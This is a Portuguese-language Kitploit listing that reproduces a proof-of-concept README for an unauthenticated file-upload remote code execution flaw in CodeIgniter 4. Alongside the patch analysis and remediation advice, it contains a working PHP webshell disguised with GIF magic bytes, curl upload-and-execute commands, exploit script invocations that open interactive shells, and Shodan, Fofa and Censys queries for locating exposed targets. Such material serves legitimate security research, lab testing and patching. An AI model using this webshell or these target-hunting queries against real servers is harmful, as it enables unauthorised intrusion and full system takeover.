Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-63223-POC — CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in File Upload RCE (CVSS 9.8). Unauthenticated remote code execution via unrestricted file upload bypass using image magic bytes. Fixed in v4.7.4. | Kitploit
Ferramentas/GitHubGitHub/imbas007/cve-2026-63223-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubimbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in File Upload RCE (CVSS 9.8). Unauthenticated remote code execution via unrestricted file upload bypass using image magic bytes. Fixed in v4.7.4.

1há 17 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
Site

CVE-2026-63223 PoC — CodeIgniter 4 RCE por Upload de Arquivo

CVSS 9.8 (Crítico) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Upload irrestrito de arquivo com tipo perigoso
Corrigido: CodeIgniter 4 v4.7.4
Aviso de segurança: GHSA-mmj4-63m4-r6h5


Resumo da Vulnerabilidade

As regras de validação de upload de arquivos is_image e mime_in do CodeIgniter 4 inspecionam apenas o tipo MIME derivado do conteúdo (magic bytes), e não a extensão do nome de arquivo fornecida pelo cliente.

Um atacante não autenticado pode adicionar magic bytes de imagem (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) a um webshell PHP, nomeá-lo shell.php, e ele passará pela validação is_image ou mime_in mantendo uma extensão executável perigosa. Quando o arquivo enviado é armazenado em um diretório acessível via web, o atacante obtém execução remota de código arbitrária.

Condições de Acionamento (todas as três devem ser atendidas)

  1. O aplicativo valida uploads usando is_image ou mime_in sem uma verificação independente de extensão (ext_in)
  2. O arquivo enviado é salvo usando o nome de arquivo fornecido pelo cliente (preservando a extensão .php)
  3. Os uploads são armazenados em um diretório acessível via web onde o servidor executa PHP

Análise do Patch

A correção na v4.7.4 adiciona dois novos métodos auxiliares e os integra às regras de validação:

is_image — Antes vs Depois

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — Antes vs Depois

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

Novos Métodos Auxiliares

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

Ponto-chave: A correção usa os métodos existentes Mimes::guessTypeFromExtension() e $file->guessExtension(), adicionando uma segunda camada de validação. Uploads sem extensão (ex.: objetos JavaScript Blob) ainda são aceitos.


Componentes do PoC

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

Início Rápido — Laboratório Docker

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

Endpoints


Exploração

Método 1 — Interativo

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

Método 2 — Manual (curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

Método 3 — Diferentes disfarces de MIME

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

Por Que Funciona

O superglobal $_FILES do PHP e o objeto UploadedFile do CodeIgniter carregam duas informações separadas:

  1. type / getMimeType() — Derivado dos magic bytes do arquivo (com base no conteúdo), enviado pelo navegador como parte Content-Type do upload multipart
  2. name / getClientName() — O nome original do arquivo enviado pelo cliente, incluindo a extensão

Antes da correção, is_image e mime_in verificavam apenas o item #1. Um atacante envia:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image vê image/gif → passa
  • ✅ Arquivo salvo como shell.php (nome do cliente preservado)
  • ✅ Apache/PHP-FPM executa arquivos .php no diretório de uploads → RCE

Após a correção, a extensão é verificada de forma cruzada:

  • ❌ hasInvalidImageClientExtension() vê .php → rejeita

Detecção e Caça

Detecção em Logs / Forense

Procure por arquivos PHP/PHTML/PHP5 com magic bytes de imagem no seu diretório de uploads:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Consultas Shodan

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Consultas Fofa

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

Remediação

  1. Atualize para o CodeIgniter 4 v4.7.4+
  2. Solução alternativa (se a atualização for adiada): Adicione a regra ext_in junto de is_image/mime_in
  3. Defesa em profundidade:
    • Armazene os uploads fora da raiz web e sirva-os por meio de um proxy com readfile()
    • Desabilite a execução de PHP no diretório de uploads no nível do servidor web:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • Gere nomes de arquivo controlados pelo servidor em vez de preservar os nomes fornecidos pelo cliente

Referências

  • Aviso de Segurança do GitHub — GHSA-mmj4-63m4-r6h5
  • Commit da Correção — b6e9a4f
  • Lançamento v4.7.4
  • Análise do IONIX Threat Center
  • Entrada no NVD

Aviso Legal

Este PoC é apenas para fins educacionais e testes de segurança autorizados. A vulnerabilidade foi divulgada de forma responsável e corrigida. Não use isto contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar. Os autores não assumem responsabilidade por uso indevido.

Baixar ferramenta
EndpointVulnerabilidadeValidação
/upload/avatarVULNERÁVELapenas is_image
/upload/documentVULNERÁVELapenas mime_in
/upload/safeSEGURO (controle)is_image + ext_in